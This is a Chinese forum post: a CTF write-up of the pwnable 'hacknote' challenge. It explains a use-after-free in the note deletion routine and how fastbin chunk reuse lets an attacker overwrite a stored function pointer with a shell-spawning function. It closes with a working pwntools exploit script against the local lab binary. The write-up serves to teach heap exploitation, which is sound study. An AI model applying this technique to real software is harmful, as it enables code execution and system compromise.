安全矩阵

 找回密码
 立即注册
搜索
查看: 7217|回复: 0

Pwn堆利用学习—— Use-After-Free——pwnable_hacknote

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2020-12-24 08:17:17 | 显示全部楼层 |阅读模式
原文链接:Pwn堆利用学习—— Use-After-Free——pwnable_hacknote

步骤一:运行查看



步骤二:查看文件类型和保护机制
32位程序


步骤三:IDA反编译分析
main函数:


add_note函数:


print_note_content函数:


del_note函数:free之后没有置为NULL,存在UAF漏洞。


print_note函数:

gdb确认(_DWORD *)((int (__cdecl *)(_DWORD *))*notelist[v2])(notelist[v2])是哪个函数的方法:
  • 选中第一个notelist[2],按tab键,切换到汇编代码,分析得知对应调用函数的指令是call eax,拷贝地址;
  • 然后在gdb中下断点,先r运行,输入1创建一个note;
  • 然后输入3,进行打印,运行到断点处,si单步调试,进入函数,看到这个调用的函数就是print_note_content函数。



这题没有明显看到函数中有shell函数,那么我们就在IDA中搜索一下,Shift+F12,看到/bin/sh字符串,双击进去,然后交叉引用,看到magic函数。




步骤四:调试和思路


0x80485fb 在IDA中查看,是print_note_content函数。

0x8a71018 就在下面,是输入到堆里的“aaaa”。

所以,可以确定note结构体为:

  1. struct note{
  2.   void* ptr = print_note_content;
  3.   char* content;
  4. }
复制代码

当然note-content chunk大小是0x18,还有8个字节我在图中没有打印出来。


思路:

还记得print_note函数里的(_DWORD *)((int (__cdecl *)(_DWORD *))*notelist[v2])(notelist[v2]),现在就可以理解了:(_DWORD *)((int (__cdecl *)(_DWORD *))*notelist[v2])就是note结构体中的第一个条目,即print_note_content函数。

那么由于有UAF漏洞,我们就要想办法去把堆中这个函数的地址0x80485fb给改掉,改成magic函数的地址,然后再去调用print_note函数,那么就会调用结构体里的print_note_content函数,当然现在变成了magic函数,就能getshell了!

怎么去改呢?

想想我们的输入,能输入content,也就是说我们能直接控制输入的note-content chunk的内容,不能直接控制note chunk的内容。

还有一点,这个大小的chunk free之后是放入fastbin中,先进先出。

所以,我们可以想办法先malloc出两个note chunk,然后再依次free,接着再调用add_note()函数的话,先free的这个 note chunk(即第一个note chunk)就会变成 note-content chunk 了,我们能控制最后一次malloc的note-content chunk,让输入的content为magic函数的地址,那么就让第一个note chunk中print_note_content的地址变为了magic的地址!

最后调用print_note,输入index为0,那么就getshell了!

调试:





步骤五:Exploit
  1. from pwn import *

  2. context.log_level = 'debug'
  3. p = process('./hacknote')
  4. elf = ELF('./hacknote')

  5. def add(size,content='aaaa'):
  6.     p.sendlineafter(':','1')
  7.     p.sendlineafter(':',str(size))
  8.     p.sendlineafter(':',content)

  9. def delete(index):
  10.     p.sendlineafter(':','2')
  11.     p.sendlineafter(':',str(index))

  12. def show(index):
  13.     p.sendlineafter(':','3')
  14.     p.sendlineafter(':',str(index))

  15. sh = p32(elf.sym['magic'])
  16. add(0x10)
  17. add(0x10)
  18. delete(0)
  19. delete(1)
  20. add(0x8,sh)
  21. show(0)

  22. def dbg():
  23.     gdb.attach(p)
  24.     pause()
  25. #dbg()
  26. p.interactive()

复制代码

参考文献
  • ctf-wiki
  • https://www.bilibili.com/video/BV1iE411H7cZ


























回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 18:47 , Processed in 0.012970 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表